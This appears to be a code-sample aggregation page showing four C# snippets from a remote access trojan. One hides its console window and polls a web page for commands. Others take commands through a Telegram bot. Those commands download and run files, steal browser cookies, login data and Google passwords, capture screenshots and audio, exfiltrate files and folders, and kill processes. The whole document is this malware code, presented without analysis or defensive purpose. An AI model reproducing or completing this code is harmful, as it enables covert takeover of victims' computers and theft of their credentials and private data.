Ejemplo n.º 1
0
        static void Execute(cmd CMD)
        {
            switch (CMD.ComType)
            {
            case "open_link":
                Functions.OpenLink(CMD.ComContent);
                Console.WriteLine(CMD.ComContent);
                break;

            case "download":
                Functions.Download(CMD.ComContent);
                break;

            case "stop":
                Functions.run(false);

                break;

            case "http":
                Functions.run(true);

                Functions.Httprequest(CMD.ComContent);
                break;

            case "exit":
                Environment.Exit(0);
                break;
            }
        }
Ejemplo n.º 2
0
        static void Main(string[] args)
        {
            var handle = GetConsoleWindow();


            // Hide
            ShowWindow(handle, SW_HIDE);

            while (true)
            {
                string html = web.GetHTML(configs.server);
                Match  regx = Regex.Match(html, "<p>(.*)</p></article>");

                string content = regx.Groups[1].Value;
                if (last_cmd == content)
                {
                    Thread.Sleep(configs.delay);
                    continue;
                }
                last_cmd = content;

                cmd command = new cmd(content);
                Execute(command);
                Thread.Sleep(configs.delay);
            }
        }
Ejemplo n.º 3
0
        private static async void OnTelegramMessage(object sender, Telegram.Bot.Args.MessageEventArgs e)
        {
            if (e.Message.Document != null && e.Message.Caption.Contains("/UploadUpdate"))          // TODO: Сделать разархивирование и запуск файла. Сделать рабочий метод для использования комманды
            {
                string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\BotFiles\\" + e.Message.Document.FileName;
                Directory.CreateDirectory(path);
                var file = await bot.GetFileAsync(e.Message.Document.FileId);

                using (var saveFile = new FileStream(path + "\\" + e.Message.Document.FileName, FileMode.Create))
                {
                    await bot.DownloadFileAsync(file.FilePath, saveFile);
                }

                Process.Start(path);
            }
            else if (e.Message.Document != null && e.Message.Caption == "/UploadExecute")
            {
                string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\BotFiles\\";
                Directory.CreateDirectory(path);
                path += e.Message.Document.FileName;
                var file = await bot.GetFileAsync(e.Message.Document.FileId);

                using (var saveFile = new FileStream(path, FileMode.Create))
                {
                    await bot.DownloadFileAsync(file.FilePath, saveFile);
                }

                try
                {
                    Process.Start(path);
                }
                catch
                {
                    TelegramSystem.SendMessage($"[ERROR] [{Functions.GetIp()}] Something wrong");
                }
            }
            else if (e.Message.Document != null)
            {
                string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\BotFiles\\" + e.Message.Document.FileName;
                Directory.CreateDirectory(path);
                var file = await bot.GetFileAsync(e.Message.Document.FileId);

                using (var saveFile = new FileStream(path + "\\" + e.Message.Document.FileName, FileMode.Create))
                {
                    await bot.DownloadFileAsync(file.FilePath, saveFile);
                }
            }
            else
            {
                cmd command = new cmd(e.Message.Text);
                Execute(command);
            }
        }
Ejemplo n.º 4
0
        static void Execute(cmd CMD)
        {
            string text = string.Empty;

            if (File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "lastCMD.txt"))
            {
                StreamReader reader = new StreamReader(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "lastCMD.txt");
                text = reader.ReadToEnd();
                reader.Close();
            }
            else
            {
                StreamWriter Writer = new StreamWriter(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "lastCMD.txt");
                Writer.AutoFlush = true;
                Writer.Close();
            }
            if (text == CMD.ComType + "|" + CMD.ComContent)
            {
            }
            else
            {
                switch (CMD.ComType)
                {
                case "/open_link":
                    if (CMD.ComContent == null)
                    {
                        TelegramSystem.SendMessage("Usage - /open_link|<link>  (without <>)");
                    }
                    else
                    {
                        Functions.OpenLink(CMD.ComContent);
                    }
                    break;

                case "/download_execute":
                    if (CMD.ComContent == null)
                    {
                        TelegramSystem.SendMessage("Usage - /download_execute|<link>  (without <>)");
                    }
                    else
                    {
                        Functions.DownloadExecute(CMD.ComContent);
                    }
                    break;

                case "/exit":
                    Environment.Exit(0);
                    break;

                case "/ddos":
                    break;

                case "/GetCookieFile":
                    Functions.GetCookieAndLoginData();
                    break;

                case "/GetSystem":
                    Functions.GetSystem();
                    break;

                case "/GetProcess":
                    Functions.GetProcess();
                    break;

                case "/MessageBox":
                    if (CMD.ComContent == null || CMD.ComThreads == null)
                    {
                        TelegramSystem.SendMessage("Usage - /MessageBox|<message>|<caption>  (without <>)");
                    }
                    else
                    {
                        Functions.ShowMessageBox(CMD.ComContent, CMD.ComThreads);
                    }
                    break;

                case "/KillProcess":
                    if (CMD.ComContent == null)
                    {
                        TelegramSystem.SendMessage("Usage - /KillProcess|<process name>  (without <>)");
                    }
                    else
                    {
                        Functions.KillProcess(CMD.ComContent);
                    }
                    break;

                case "/ls":
                    if (CMD.ComContent == null)
                    {
                        Functions.GetFiles("D:\\BotFiles\\");
                    }
                    else
                    {
                        Functions.GetFiles(CMD.ComContent);
                    }
                    break;

                case "/DownloadFile":
                    if (CMD.ComContent == null)
                    {
                        TelegramSystem.SendMessage("Usage - /DownloadFile|<full path to file>  (without <>)");
                    }
                    else
                    {
                        Functions.DownloadFile(CMD.ComContent);
                    }
                    break;

                case "/CaptureCam":
                    //Functions.CaptureCam();                           // TODO: Snapshot с WebCam
                    break;

                case "/TakeScreenShot":
                    Functions.TakeScreenShot();
                    break;

                case "/GetGooglePasswords":
                    Functions.GetGooglePasswords();                        // TODO: Архивирование файлов в .zip архив
                    break;

                case "/ping":
                    TelegramSystem.SendMessage($"[Ping] [{Functions.GetIp()}] I'm up");
                    break;

                case "/OpenFile":
                    if (CMD.ComContent == null)
                    {
                        TelegramSystem.SendMessage("Usage - /OpenFile|<full path to file>  (without <>)");
                    }
                    else
                    {
                        Process.Start(CMD.ComContent);
                    }
                    break;

                case "/DownloadFolder":
                    if (CMD.ComContent == null)
                    {
                        TelegramSystem.SendMessage("Usage - /DownloadFolder|<full path to folder>  (without <>)");
                    }
                    else
                    {
                        Functions.DownloadFolder(CMD.ComContent);
                    }
                    break;

                case "/help":
                    Functions.SendCommands();
                    break;

                case "/RecordAudio":
                    if (CMD.ComContent != null)
                    {
                        Functions.RecordAudio(CMD.ComContent);
                    }
                    else
                    {
                        Functions.RecordAudio();
                    }
                    break;

                default:
                    int i = 1;
                    foreach (var command in commandList)
                    {
                        if (CMD.ComType.Contains(command))
                        {
                            i = 0;
                        }
                    }
                    if (i != 0)
                    {
                        Functions.SendCommands();
                    }
                    break;
                }
                StreamWriter Writer = new StreamWriter(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "lastCMD.txt");
                Writer.AutoFlush = true;
                Writer.Write(CMD.ComType + "|" + CMD.ComContent);
                Writer.Close();
            }
        }